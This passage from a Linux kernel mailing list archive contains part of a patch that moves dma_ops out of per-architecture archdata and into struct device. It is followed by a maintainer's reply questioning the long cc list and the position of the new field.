 		return &pci32_dma_ops;
 #endif
 	return dma_ops;
diff --git a/arch/tile/include/asm/device.h b/arch/tile/include/asm/device.h
index 25f23ac7d361..1cf45422a0df 100644
--- a/arch/tile/include/asm/device.h
+++ b/arch/tile/include/asm/device.h
@@ -17,9 +17,6 @@
 #define _ASM_TILE_DEVICE_H
 
 struct dev_archdata {
-	/* DMA operations on that device */
-        const struct dma_map_ops	*dma_ops;
-
 	/* Offset of the DMA address from the PA. */
 	dma_addr_t		dma_offset;
 
diff --git a/arch/tile/include/asm/dma-mapping.h b/arch/tile/include/asm/dma-mapping.h
index 4a06cc75b856..bbc71a29b2c6 100644
--- a/arch/tile/include/asm/dma-mapping.h
+++ b/arch/tile/include/asm/dma-mapping.h
@@ -29,12 +29,9 @@ extern const struct dma_map_ops *gx_pci_dma_map_ops;
 extern const struct dma_map_ops *gx_legacy_pci_dma_map_ops;
 extern const struct dma_map_ops *gx_hybrid_pci_dma_map_ops;
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
-	if (dev && dev->archdata.dma_ops)
-		return dev->archdata.dma_ops;
-	else
-		return tile_dma_map_ops;
+	return tile_dma_map_ops;
 }
 
 static inline dma_addr_t get_dma_offset(struct device *dev)
@@ -59,11 +56,6 @@ static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
 
 static inline void dma_mark_clean(void *addr, size_t size) {}
 
-static inline void set_dma_ops(struct device *dev, const struct dma_map_ops *ops)
-{
-	dev->archdata.dma_ops = ops;
-}
-
 static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
 {
 	if (!dev->dma_mask)
diff --git a/arch/x86/include/asm/device.h b/arch/x86/include/asm/device.h
index b2d0b4ced7e3..1b3ef26e77df 100644
--- a/arch/x86/include/asm/device.h
+++ b/arch/x86/include/asm/device.h
@@ -2,9 +2,6 @@
 #define _ASM_X86_DEVICE_H
 
 struct dev_archdata {
-#ifdef CONFIG_X86_DEV_DMA_OPS
-	const struct dma_map_ops *dma_ops;
-#endif
 #if defined(CONFIG_INTEL_IOMMU) || defined(CONFIG_AMD_IOMMU)
 	void *iommu; /* hook for IOMMU specific extension */
 #endif
diff --git a/arch/x86/include/asm/dma-mapping.h b/arch/x86/include/asm/dma-mapping.h
index 5e4772886a1e..08a0838b83fb 100644
--- a/arch/x86/include/asm/dma-mapping.h
+++ b/arch/x86/include/asm/dma-mapping.h
@@ -27,16 +27,9 @@ extern int panic_on_overflow;
 
 extern const struct dma_map_ops *dma_ops;
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
-#ifndef CONFIG_X86_DEV_DMA_OPS
 	return dma_ops;
-#else
-	if (unlikely(!dev) || !dev->archdata.dma_ops)
-		return dma_ops;
-	else
-		return dev->archdata.dma_ops;
-#endif
 }
 
 bool arch_dma_alloc_attrs(struct device **dev, gfp_t *gfp);
diff --git a/arch/x86/kernel/pci-calgary_64.c b/arch/x86/kernel/pci-calgary_64.c
index 17f180148c80..87f9a1ff7cf6 100644
--- a/arch/x86/kernel/pci-calgary_64.c
+++ b/arch/x86/kernel/pci-calgary_64.c
@@ -1177,7 +1177,7 @@ static int __init calgary_init(void)
 		tbl = find_iommu_table(&dev->dev);
 
 		if (translation_enabled(tbl))
-			dev->dev.archdata.dma_ops = &calgary_dma_ops;
+			set_dma_ops(&dev->dev, &calgary_dma_ops);
 	}
 
 	return ret;
@@ -1201,7 +1201,7 @@ static int __init calgary_init(void)
 		calgary_disable_translation(dev);
 		calgary_free_bus(dev);
 		pci_dev_put(dev); /* Undo calgary_init_one()'s pci_dev_get() */
-		dev->dev.archdata.dma_ops = NULL;
+		set_dma_ops(&dev->dev, NULL);
 	} while (1);
 
 	return ret;
diff --git a/arch/x86/pci/common.c b/arch/x86/pci/common.c
index a4fdfa7dcc1b..944e13c1a1e4 100644
--- a/arch/x86/pci/common.c
+++ b/arch/x86/pci/common.c
@@ -667,7 +667,7 @@ static void set_dma_domain_ops(struct pci_dev *pdev)
 	spin_lock(&dma_domain_list_lock);
 	list_for_each_entry(domain, &dma_domain_list, node) {
 		if (pci_domain_nr(pdev->bus) == domain->domain_nr) {
-			pdev->dev.archdata.dma_ops = domain->dma_ops;
+			set_dma_ops(&pdev->dev, domain->dma_ops);
 			break;
 		}
 	}
diff --git a/arch/x86/pci/sta2x11-fixup.c b/arch/x86/pci/sta2x11-fixup.c
index aa3828823170..21008548f225 100644
--- a/arch/x86/pci/sta2x11-fixup.c
+++ b/arch/x86/pci/sta2x11-fixup.c
@@ -203,7 +203,7 @@ static void sta2x11_setup_pdev(struct pci_dev *pdev)
 		return;
 	pci_set_consistent_dma_mask(pdev, STA2X11_AMBA_SIZE - 1);
 	pci_set_dma_mask(pdev, STA2X11_AMBA_SIZE - 1);
-	pdev->dev.archdata.dma_ops = &sta2x11_dma_ops;
+	set_dma_ops(&pdev->dev, &sta2x11_dma_ops);
 
 	/* We must enable all devices as master, for audio DMA to work */
 	pci_set_master(pdev);
@@ -223,7 +223,7 @@ bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
 {
 	struct sta2x11_mapping *map;
 
-	if (dev->archdata.dma_ops != &sta2x11_dma_ops) {
+	if (dev->dma_ops != &sta2x11_dma_ops) {
 		if (!dev->dma_mask)
 			return false;
 		return addr + size - 1 <= *dev->dma_mask;
@@ -247,7 +247,7 @@ bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
  */
 dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
 {
-	if (dev->archdata.dma_ops != &sta2x11_dma_ops)
+	if (dev->dma_ops != &sta2x11_dma_ops)
 		return paddr;
 	return p2a(paddr, to_pci_dev(dev));
 }
@@ -259,7 +259,7 @@ dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
  */
 phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
 {
-	if (dev->archdata.dma_ops != &sta2x11_dma_ops)
+	if (dev->dma_ops != &sta2x11_dma_ops)
 		return daddr;
 	return a2p(daddr, to_pci_dev(dev));
 }
diff --git a/arch/xtensa/include/asm/device.h b/arch/xtensa/include/asm/device.h
index a77d45d39f35..1deeb8ebbb1b 100644
--- a/arch/xtensa/include/asm/device.h
+++ b/arch/xtensa/include/asm/device.h
@@ -6,11 +6,7 @@
 #ifndef _ASM_XTENSA_DEVICE_H
 #define _ASM_XTENSA_DEVICE_H
 
-struct dma_map_ops;
-
 struct dev_archdata {
-	/* DMA operations on that device */
-	const struct dma_map_ops *dma_ops;
 };
 
 struct pdev_archdata {
diff --git a/arch/xtensa/include/asm/dma-mapping.h b/arch/xtensa/include/asm/dma-mapping.h
index 50d23106cce0..c6140fa8c0be 100644
--- a/arch/xtensa/include/asm/dma-mapping.h
+++ b/arch/xtensa/include/asm/dma-mapping.h
@@ -20,12 +20,9 @@
 
 extern const struct dma_map_ops xtensa_dma_map_ops;
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
-	if (dev && dev->archdata.dma_ops)
-		return dev->archdata.dma_ops;
-	else
-		return &xtensa_dma_map_ops;
+	return &xtensa_dma_map_ops;
 }
 
 void dma_cache_sync(struct device *dev, void *vaddr, size_t size,
diff --git a/drivers/infiniband/ulp/srpt/ib_srpt.c b/drivers/infiniband/ulp/srpt/ib_srpt.c
index 3fc3f8b5752b..20444a7d867d 100644
--- a/drivers/infiniband/ulp/srpt/ib_srpt.c
+++ b/drivers/infiniband/ulp/srpt/ib_srpt.c
@@ -2524,7 +2524,7 @@ static void srpt_add_one(struct ib_device *device)
 	int i;
 
 	pr_debug("device = %p, device->dma_ops = %p\n", device,
-		 device->dma_ops);
+		 get_dma_ops(device->dma_device));
 
 	sdev = kzalloc(sizeof(*sdev), GFP_KERNEL);
 	if (!sdev)
diff --git a/drivers/iommu/amd_iommu.c b/drivers/iommu/amd_iommu.c
index 3703fb9db419..246a88d96a97 100644
--- a/drivers/iommu/amd_iommu.c
+++ b/drivers/iommu/amd_iommu.c
@@ -515,7 +515,7 @@ static void iommu_uninit_device(struct device *dev)
 	iommu_group_remove_device(dev);
 
 	/* Remove dma-ops */
-	dev->archdata.dma_ops = NULL;
+	set_dma_ops(dev, NULL);
 
 	/*
 	 * We keep dev_data around for unplugged devices and reuse it when the
@@ -2164,7 +2164,7 @@ static int amd_iommu_add_device(struct device *dev)
 				dev_name(dev));
 
 		iommu_ignore_device(dev);
-		dev->archdata.dma_ops = &nommu_dma_ops;
+		set_dma_ops(dev, &nommu_dma_ops);
 		goto out;
 	}
 	init_iommu_group(dev);
@@ -2181,7 +2181,7 @@ static int amd_iommu_add_device(struct device *dev)
 	if (domain->type == IOMMU_DOMAIN_IDENTITY)
 		dev_data->passthrough = true;
 	else
-		dev->archdata.dma_ops = &amd_iommu_dma_ops;
+		set_dma_ops(dev, &amd_iommu_dma_ops);
 
 out:
 	iommu_completion_wait(iommu);
diff --git a/drivers/misc/mic/bus/mic_bus.c b/drivers/misc/mic/bus/mic_bus.c
index c4b27a25662a..ee6e4ef370ea 100644
--- a/drivers/misc/mic/bus/mic_bus.c
+++ b/drivers/misc/mic/bus/mic_bus.c
@@ -158,7 +158,7 @@ mbus_register_device(struct device *pdev, int id, const struct dma_map_ops *dma_
 	mbdev->dev.parent = pdev;
 	mbdev->id.device = id;
 	mbdev->id.vendor = MBUS_DEV_ANY_ID;
-	mbdev->dev.archdata.dma_ops = dma_ops;
+	set_dma_ops(&mbdev->dev, dma_ops);
 	mbdev->dev.dma_mask = &mbdev->dev.coherent_dma_mask;
 	dma_set_mask(&mbdev->dev, DMA_BIT_MASK(64));
 	mbdev->dev.release = mbus_release_dev;
diff --git a/drivers/misc/mic/bus/scif_bus.c b/drivers/misc/mic/bus/scif_bus.c
index e5d377e97c86..d4d559cad6a1 100644
--- a/drivers/misc/mic/bus/scif_bus.c
+++ b/drivers/misc/mic/bus/scif_bus.c
@@ -154,7 +154,7 @@ scif_register_device(struct device *pdev, int id, const struct dma_map_ops *dma_
 	sdev->dev.parent = pdev;
 	sdev->id.device = id;
 	sdev->id.vendor = SCIF_DEV_ANY_ID;
-	sdev->dev.archdata.dma_ops = dma_ops;
+	set_dma_ops(&sdev->dev, dma_ops);
 	sdev->dev.release = scif_release_dev;
 	sdev->hw_ops = hw_ops;
 	sdev->dnode = dnode;
diff --git a/drivers/misc/mic/bus/vop_bus.c b/drivers/misc/mic/bus/vop_bus.c
index b59551f5db65..c96a05f811f2 100644
--- a/drivers/misc/mic/bus/vop_bus.c
+++ b/drivers/misc/mic/bus/vop_bus.c
@@ -154,7 +154,7 @@ vop_register_device(struct device *pdev, int id,
 	vdev->dev.parent = pdev;
 	vdev->id.device = id;
 	vdev->id.vendor = VOP_DEV_ANY_ID;
-	vdev->dev.archdata.dma_ops = (const struct dma_map_ops *)dma_ops;
+	set_dma_ops(&vdev->dev, dma_ops);
 	vdev->dev.dma_mask = &vdev->dev.coherent_dma_mask;
 	dma_set_mask(&vdev->dev, DMA_BIT_MASK(64));
 	vdev->dev.release = vop_release_dev;
diff --git a/include/linux/device.h b/include/linux/device.h
index 491b4c0ca633..c7cb225d36b0 100644
--- a/include/linux/device.h
+++ b/include/linux/device.h
@@ -885,6 +885,8 @@ struct dev_links_info {
  * a higher-level representation of the device.
  */
 struct device {
+	const struct dma_map_ops *dma_ops; /* See also get_dma_ops() */
+
 	struct device		*parent;
 
 	struct device_private	*p;
diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index f1da68b82c63..ab8710888ddf 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -164,6 +164,18 @@ int dma_mmap_from_coherent(struct device *dev, struct vm_area_struct *vma,
 
 #ifdef CONFIG_HAS_DMA
 #include <asm/dma-mapping.h>
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+{
+	if (dev && dev->dma_ops)
+		return dev->dma_ops;
+	return get_arch_dma_ops(dev ? dev->bus : NULL);
+}
+
+static inline void set_dma_ops(struct device *dev,
+			       const struct dma_map_ops *dma_ops)
+{
+	dev->dma_ops = dma_ops;
+}
 #else
 /*
  * Define the dma api to allow compilation but not linking of
-- 
2.11.0




From - Thu Nov 08 21:39:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Greg Kroah-Hartman <gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sparc,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel,gmane.linux.kernel.pci,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 2/9] Move dma_ops from archdata into struct device
Date: Wed, 11 Jan 2017 07:46:24 +0100
Lines: 90
Approved: news@gmane.org
Message-ID: <20170111064624.GA26893@kroah.com>
References: <20170111005648.14988-1-bart.vanassche@sandisk.com>
	<20170111005648.14988-3-bart.vanassche@sandisk.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1484117182 3721 195.159.176.226 (11 Jan 2017 06:46:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 11 Jan 2017 06:46:22 +0000 (UTC)
User-Agent: Mutt/1.7.2 (2016-11-26)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, Rich Felker <dalias-8zAoT0mYgF4@public.gmane.org>,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Aurelien Jacquiot <a-jacquiot-l0cyMroinI0@public.gmane.org>,
	Catalin Marinas <catalin.marinas-5wv7dgnIgG8@public.gmane.org>,
	Will Deacon <will.deacon-5wv7dgnIgG8@public.gmane.org>, Muli Ben-Yehuda <mulix-BzGcCpaT2IbYtjvyW6yDsg@public.gmane.org>,
	David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Max Filippov <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	"H . Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Russell King <linux-I+IVW8TIWO2tmTQ+vhA3Yw@public.gmane.org>, Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>,
	Hans-Christian Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
	Jonas Bonn <jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org>, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Jesper Nilsson <jesper.nilsson-VrBV9hrLPhE@public.gmane.org>,
	linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	Yoshinori Sato <ysato-Rn4VEauK+AKRv+LV9MX5uooqe+aC9MnS@public.gmane.org>,
	linux-rdma-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	"James E . J . Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	Doug Ledford <dledford@r
To: Bart Van Assche <bart.vanassche-XdAiOPVOjttBDgjK7y7TUQ@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jan 11 07:46:10 2017
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1cRCfa-0007eM-GF
	for glki-iommu@m.gmane.org; Wed, 11 Jan 2017 07:46:02 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 59692B1F;
	Wed, 11 Jan 2017 06:46:06 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from localhost (unknown [78.192.101.3])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id F3431A58;
	Wed, 11 Jan 2017 06:46:02 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20170111005648.14988-3-bart.vanassche-XdAiOPVOjttBDgjK7y7TUQ@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:16550 gmane.linux.ports.mips.general:57425 gmane.linux.ports.ia64:27573 gmane.linux.ports.sparc:24331 gmane.linux.drivers.rdma:45421 gmane.linux.ports.hexagon:1094 gmane.linux.kernel.arc:1989 gmane.linux.ports.alpha:4015 gmane.linux.kernel.metag:1217 gmane.linux.ports.arm.kernel:549579 gmane.linux.ports.parisc:27165 gmane.linux.ports.ppc64.devel:137147 gmane.linux.kernel:2385212 gmane.linux.kernel.pci:58097 gmane.linux.ports.sh.devel:54981
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/16550>

On Tue, Jan 10, 2017 at 04:56:41PM -0800, Bart Van Assche wrote:
> Several RDMA drivers, e.g. drivers/infiniband/hw/qib, use the CPU to
> transfer data between memory and PCIe adapter. Because of performance
> reasons it is important that the CPU cache is not flushed when such
> drivers transfer data. Make this possible by allowing these drivers to
> override the dma_map_ops pointer. Additionally, introduce the function
> set_dma_ops() that will be used by a later patch in this series.
> 
> Signed-off-by: Bart Van Assche <bart.vanassche-XdAiOPVOjttBDgjK7y7TUQ@public.gmane.org>
> Cc: Greg Kroah-Hartman <gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org>
> Cc: Aurelien Jacquiot <a-jacquiot-l0cyMroinI0@public.gmane.org>
> Cc: Catalin Marinas <catalin.marinas-5wv7dgnIgG8@public.gmane.org>
> Cc: Chris Zankel <chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org>
> Cc: David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
> Cc: David S. Miller <davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org>
> Cc: Fenghua Yu <fenghua.yu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
> Cc: Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>
> Cc: Geoff Levand <geoff-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>
> Cc: H. Peter Anvin <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>
> Cc: Haavard Skinnemoen <hskinnemoen-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
> Cc: Hans-Christian Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>
> Cc: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
> Cc: Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
> Cc: James E.J. Bottomley <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>
> Cc: Jesper Nilsson <jesper.nilsson-VrBV9hrLPhE@public.gmane.org>
> Cc: Joerg Roedel <joro-zLv9SwRftAIdnm+yROfE0A@public.gmane.org>
> Cc: Jon Mason <jdmason-zqedIHPRSYI@public.gmane.org>
> Cc: Jonas Bonn <jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org>
> Cc: Ley Foon Tan <lftan-EIB2kfCEclfQT0dZR+AlfA@public.gmane.org>
> Cc: Mark Salter <msalter-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
> Cc: Max Filippov <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
> Cc: Mikael Starvik <starvik-VrBV9hrLPhE@public.gmane.org>
> Cc: Muli Ben-Yehuda <mulix-BzGcCpaT2IbYtjvyW6yDsg@public.gmane.org>
> Cc: Rich Felker <dalias-8zAoT0mYgF4@public.gmane.org>
> Cc: Russell King <linux-I+IVW8TIWO2tmTQ+vhA3Yw@public.gmane.org>
> Cc: Stafford Horne <shorne-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
> Cc: Stefan Kristiansson <stefan.kristiansson-MbMCFXIvDHJFcC0YU169RA@public.gmane.org>
> Cc: Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>
> Cc: Tony Luck <tony.luck-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
> Cc: Will Deacon <will.deacon-5wv7dgnIgG8@public.gmane.org>
> Cc: x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org
> Cc: Yoshinori Sato <ysato-Rn4VEauK+AKRv+LV9MX5uooqe+aC9MnS@public.gmane.org>
> Cc: adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org
> Cc: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
> Cc: linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org
> Cc: linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
> Cc: linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org
> Cc: linux-cris-kernel-VrBV9hrLPhE@public.gmane.org
> Cc: linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org
> Cc: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org
> Cc: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-rdma-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
> Cc: linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org
> Cc: linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
> Cc: nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org
> Cc: openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org
> Cc: sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: uclinux-h8-devel-5NWGOfrQmneRv+LV9MX5uooqe+aC9MnS@public.gmane.org

That's a crazy cc: list, you should break this up into smaller pieces,
otherwise it's going to bounce...

> diff --git a/include/linux/device.h b/include/linux/device.h
> index 491b4c0ca633..c7cb225d36b0 100644
> --- a/include/linux/device.h
> +++ b/include/linux/device.h
> @@ -885,6 +885,8 @@ struct dev_links_info {
>   * a higher-level representation of the device.
>   */
>  struct device {
> +	const struct dma_map_ops *dma_ops; /* See also get_dma_ops() */
> +
>  	struct device		*parent;
>  
>  	struct device_private	*p;

Why not put this new pointer down with the other dma fields in this
structure?  Any specific reason it needs to be first?

thanks,

greg k-h

From - Thu Nov 08 21:39:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Greg Kroah-Hartman <gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sparc,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel,gmane.linux.kernel.pci,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 2/9] Move dma_ops from archdata into struct device
Date: Wed, 11 Jan 2017 07:48:03 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20170111064803.GB26893@kroah.com>
References: <20170111005648.14988-1-bart.vanassche@sandisk.com>
	<20170111005648.14988-3-bart.vanassche@sandisk.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1484117287 9965 195.159.176.226 (11 Jan 2017 06:48:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 11 Jan 2017 06:48:07 +0000 (UTC)
User-Agent: Mutt/1.7.2 (2016-11-26)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, Rich Felker <dalias-8zAoT0mYgF4@public.gmane.org>,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Aurelien Jacquiot <a-jacquiot-l0cyMroinI0@public.gmane.org>,
	Catalin Marinas <catalin.marinas-5wv7dgnIgG8@public.gmane.org>,
	Will Deacon <will.deacon-5wv7dgnIgG8@public.gmane.org>, Muli Ben-Yehuda <mulix-BzGcCpaT2IbYtjvyW6yDsg@public.gmane.org>,
	David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Max Filippov <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	"H . Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Russell King <linux-I+IVW8TIWO2tmTQ+vhA3Yw@public.gmane.org>, Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>,
	Hans-Christian Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
	Jonas Bonn <jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org>, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Jesper Nilsson <jesper.nilsson-VrBV9hrLPhE@public.gmane.org>,
	linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	Yoshinori Sato <ysato-Rn4VEauK+AKRv+LV9MX5uooqe+aC9MnS@public.gmane.org>,
	linux-rdma-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	"James E . J . Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	Doug Ledford <dledford@r
To: Bart Van Assche <bart.vanassche-XdAiOPVOjttBDgjK7y7TUQ@public.gmane.org>
